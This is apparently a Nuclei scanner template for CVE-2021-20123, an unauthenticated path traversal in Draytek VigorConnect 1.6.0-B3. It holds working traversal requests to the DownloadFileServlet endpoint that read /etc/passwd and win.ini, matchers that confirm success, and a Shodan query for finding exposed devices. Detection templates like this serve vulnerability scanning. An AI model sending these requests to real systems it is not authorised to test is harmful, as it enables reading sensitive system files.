52 lines
1.6 KiB
YAML
52 lines
1.6 KiB
YAML
id: CVE-2021-20123
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info:
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name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
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author: 0x_Akoko
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severity: high
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description: |
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Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
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reference:
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- https://www.tenable.com/security/research/tra-2021-42
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20123
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-20123
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cwe-id: CWE-22
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epss-score: 0.02801
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cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
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metadata:
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max-request: 2
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verified: true
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shodan-query: http.html:"VigorConnect"
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vendor: draytek
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product: vigorconnect
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tags: cve,cve2021,draytek,lfi,vigorconnect,tenable
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http:
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- method: GET
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path:
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- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
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- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "application/octet-stream"
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- "for 16-bit app support"
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condition: or
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- type: status
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status:
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- 200
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